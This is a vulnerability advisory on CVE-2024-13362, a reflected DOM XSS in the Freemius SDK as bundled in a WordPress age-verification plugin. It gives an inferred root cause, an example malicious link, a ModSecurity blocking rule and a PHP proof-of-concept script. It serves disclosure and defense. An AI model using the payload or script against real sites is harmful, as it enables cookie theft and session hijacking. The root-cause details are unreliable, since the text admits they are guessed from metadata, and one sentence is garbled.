Atomic Edge analysis of CVE-2024-13362 (metadata-based): This is a reflected DOM-based cross-site scripting (XSS) vulnerability found in the Freemius SDK library (versions <= 2.10.1), which is bundled with multiple WordPress plugins and themes, including the Easy Marijuana Age Verify plugin (slug: easy-marijuana-age-verify). The vulnerability allows unauthenticated attackers to inject arbitrary web scripts via the 'url' parameter. The CVSS score is 6.1 (Medium), with network attack vector, low complexity, no privileges required, but user interaction is needed.
Root Cause: Based on the CWE-79 classification and the description, the vulnerability stems from insufficient input sanitization and output escaping of the 'url' parameter within the Freemius SDK's JavaScript handling. The SDКаuses DOM-based operations (e.g., document.write, innerHTML, or URL parsing) that reflect attacker-controlled input into the page without proper encoding. This is an inferred root cause; no source code diff was available for confirmation. The paramter is likely processed client-side after being passed from the server via script URLs or SDK initialization data. Atomic Edge analysis correlates this with common patterns in Freemius SDK where URL parameters are used for redirect or callback purposes.
Exploitation: An attacker crafts a malicious link containing a JavaScript payload in the 'url' parameter, such as: 'https://target-site.com/wp-content/plugins/easy-marijuana-age-verify/freemius/start.php?url=javascript:alert(document.cookie)'. When a logged-in administrator or user clicks this link, the Freemius SDK's JavaScript executes the payload in the context of the victim's browser, leading to arbitrary script execution. The attack does not require authentication because the SDK loads the parameter from the URL query string before any permission checks. No specific AJAX action or REST endpoint is involved; the vulnerability triggers during normal page load via embedded JavaScript.
Remediation: The fix requires proper output escaping of the 'url' parameter within the Freemius SDK's JavaScript code. Specifically, the value should be encoded using JavaScript encoding functions (e.g., encodeURIComponent) and verified against a whitelist of allowed URL schemes (http, https, ftp) before being used in DOM operations. Plugins and themes bundling the SDK must update to Freemius SDK version 2.10.2 or later, or apply the patched version of the specific plugin (Easy Marijuana Age Verify 1.6).
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser context of a logged-in user. Potential impacts include session hijacking, cookie theft, defacement, phishing, and unauthorized actions on the victim's behalf (e.g., creating admin users, modifying site options) if the victim has administrative privileges. The broad distribution of the Freemius SDK makes this vulnerability affect thousands of WordPress installations.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Block reflected XSS via url parameter in Freemius SDK files
SecRule REQUEST_URI "@rx /wp-content/plugins/easy-marijuana-age-verify/freemius/"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:url "@rx ^javascript:"
"t:urlDecode,t:lowercase,chain"
SecRule MATCHED_VARS_NAMES "@streq ARGS_GET:url"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// Configurable target URL (WordPress site with vulnerable Easy Marijuana Age Verify plugin)
$target_url = 'http://target-wordpress-site.com'; // Replace with actual target URL
// Craft the payload: a malicious URL parameter that triggers XSS
$payload = 'javascript:alert(document.domain);';
// Construct the full malicious URL
$vulnerable_plugin_path = '/wp-content/plugins/easy-marijuana-age-verify/freemius/start.php';
$attack_url = $target_url . $vulnerable_plugin_path . '?url=' . urlencode($payload);
echo "[+] Sending malicious URL to victim...n";
echo "[+] URL: " . $attack_url . "n";
// Simulate a victim clicking the link (via curl)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: " . $http_code . "n";
// Check if the payload is reflected in the response
if (strpos($response, 'alert(document.domain)') !== false) {
echo "[!] Vulnerability confirmed: Payload reflected in response!n";
} else {
echo "[-] Payload not reflected. Target may be patched or not vulnerable.n";
}
// Note: This PoC demonstrates the reflection. Actual DOM execution requires manual click or browser visit.
